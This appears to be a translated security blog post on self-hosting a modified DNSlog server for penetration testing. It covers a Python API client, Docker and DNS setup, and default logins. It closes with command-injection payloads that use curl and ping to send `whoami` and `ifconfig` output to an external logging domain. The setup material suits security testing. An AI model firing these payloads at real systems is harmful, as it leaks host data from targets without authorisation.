IMCAFS

Home

transformation and automatic call of dnslog

Posted by fierce at 2020-03-17
all

0x01 modification of dnslog

In order to automate, we want to use dnslog successfully in POC of various remote command execution. We have modified it and added three API interfaces:

http://127.0.0.1:8000/apilogin/{username}/{password}/ #http://127.0.0.1:8000/apilogin/test/123456/ #登陆以获取token http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/ #http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/ #查询特定域名的某类型记录 http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/ #http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/ #删除特定域名的某类型记录

Project address after transformation: https://github.com/bit4woo/dnslog

0x02 local interface class

After the server is OK, in order to call in POC quickly, a class is implemented locally:

# !/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'bit4' __github__ = 'https://github.com/bit4woo' import hashlib import time import requests import json class DNSlog(): def __init__(self,subdomain=None): if subdomain == None: self.subdomain = hashlib.md5(time.time()).hexdigest() else: self.subdomain = subdomain self.user_host = "test.code2sec.com" #self.user_host = "127.0.0.1:8000" self.api_host = "admin.code2sec.com" #self.api_host = "127.0.0.1:8000" self.token = "" self.username= "test" self.password = "123456" self.login() def gen_payload_domain(self): domain = "{0}.{1}".format(self.subdomain, self.user_host) return domain def gen_payload(self): domain ="{0}.{1}".format(self.subdomain,self.user_host) poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain) return poc def login(self,username=None,password=None): if username == None: username = self.username if password == None: password = self.password url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password) print("DNSlog Login: {0}".format(url)) response = requests.get(url, timeout=60, verify=False, allow_redirects=False) if response.status_code ==200: token = json.loads(response.content)["token"] self.token = token return True else: print("DNSlog login failed!") return False def query(self,subdomain,type="dns",token=None,delay=2): time.sleep(delay) if token ==None and self.token != "": token = self.token else: print("Invalid Token!") return False if type.lower() in ["dns","web"]: pass else: print("error type") return False url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token) print("DNSlog Query: {0}".format(url)) try: rep = requests.get(url, timeout=60, verify=False, allow_redirects=False) return json.loads(rep.content)["status"] except Exception as e: return False def delete(self, subdomain,type="dns", token =None): if token ==None and self.token != "": token = self.token else: print("Invalid Token!") return False if type.lower() in ["dns","web"]: pass else: print("error type") return False url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token) print("DNSlog Delete: {0}".format(url)) try: rep = requests.get(url, timeout=60, verify=False, allow_redirects=False) return json.loads(rep.content)["status"] except Exception as e: return False if __name__ == "__main__": x = DNSlog("xxxx") x.login("test","123456") x.query("dns","123",x.token) x.delete("dns","123",x.token)

Call process:

gen_payload_domain() gen_payload() login() delete() query()

0x03 use docker to build dnslog server

Thank you for your help

Domain name and configuration

To build and use dnslog, you need to have two domain names:

1. A domain name as ns server (for example, Polaris lab.com): set two a records to point to our public IP address (without modifying the DNS server, use the operator's default one):

ns1.polaris-lab.com A 记录指向 10.11.12.13 ns2.polaris-lab.com A 记录指向 10.11.12.13

2. A domain name (for example: code2sec. Com): modify the NS record of code2sec.com to the two domain names set in 1 (without modifying the DNS server, use the operator's default one):

NS *.code2sec.com ns1.polaris-lab.com NS *.code2sec.com ns2.polaris-lab.com

Note: according to the instructions of dnslog, the NS record is modified, but it is still abnormal after several days of modification in your deployment, so you change to modify the DNS server, and then it succeeds. After modifying the DNS server, you do not need to set any DNS records on the domain name management page, because this part is implemented in the Python code of dnslog.

Docker image construction

The contents of dockerfile are as follows:

FROM ubuntu:14.04 RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y RUN git clone https://github.com/bit4woo/DNSLog WORKDIR /DNSLog/dnslog RUN pip install -r requirements.pip COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py COPY ./start.sh /DNSLog/dnslog/start.sh RUN chmod +x start.sh CMD ["./start.sh"] EXPOSE 80

Download dnslog / dnslog / settings.py and modify the following fields to save settings.py:

dnslog/dnslog/settings.py # 做 dns 记录的域名 DNS_DOMAIN = 'code2sec.com' # 记录管理的域名, 这里前缀根据个人喜好来定 ADMIN_DOMAIN = 'admin.code2sec.com' # NS域名 NS1_DOMAIN = 'ns1.polaris-lab.com' NS2_DOMAIN = 'ns2.polaris-lab.com' # 服务器外网地址 SERVER_IP = '10.11.12.13'

Create a dnslog startup script and save it as start.sh:

#!/bin/bash python manage.py runserver 0.0.0.0:80 docker build . docker tag e99c409f6585 bit4/dnslog docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog #注意这个53udp端口,感谢CF_HB师傅的指导 docker exec -it container_ID_or_name /bin/bash ./start.sh

Configuration verification

Use the NSLOOKUP command to verify. If xxx.test.code2sec.com can be directly tested, all configurations have taken effect. If the direct query fails, and the DNS server is specified as ns1.polsri-lab.com, the DNS server configuration is correct, but the settings of NS records need to wait for synchronization or configuration error.

nslookup xxx.test.code2sec.com server ns1.polaris-lab.com yyy.test.code2sec.com

Of course, at the same time of query, you can log in to the webpage to check whether you have received the request.

In my own deployment, I found that xxx.test.code2sec.com could not be directly queried after modifying ns record for a long time. Thinking that NS record configuration and DNS server settings are both to modify the server configuration of the resolved domain name, I tried to modify the DNS server to ns1.polaris-lab.com, and everything was normal.

Management website

Background address: http://code2sec.com/admin/admin admin admin

User address: http://admin.code2sec.com/test 123456

For more details, please refer to the project: https://github.com/bugscantape/dnslog

Remember to change the default account password!

0x04 how to use payload

Compatible with windows and Linux

|| ipconfig || ifconfig #||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。 使用实例: ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com

Command first

%OS% #windows的系统变量,用set命令可以查看所有可用的变量名称 `whomai` #linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边 测试效果如下: [email protected]:~# echo `whoami`@bit4 [email protected] E:\>echo %OS%@bit4 [email protected] 使用实例: curl "http://xxx.test.code2sec.com/?`whoami`" ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com #DNS记录中获取源IP地址

Elimination of spaces

id|base64 使用实例: curl test.code2sec.com/`ifconfig|base64 -w 0` #-w 0 输出内容不换行,推荐这个方法 curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'` #将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来

Curl under window

start http://xxxxxxxxx.test.code2sec.com #该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口

Common payloads summary

#1.判断系统类型 ping `uname`.code2sec.com || ping %OS%.code2sec.com #2.通用ping,dns类型payload ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com" /bin/bash -c "ping -n 3 test.com || ping -c 3 test.com" #3.从DNS记录中获取源IP地址 ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com #4.获取命令结果 curl test.code2sec.com/`ifconfig|base64 -w 0`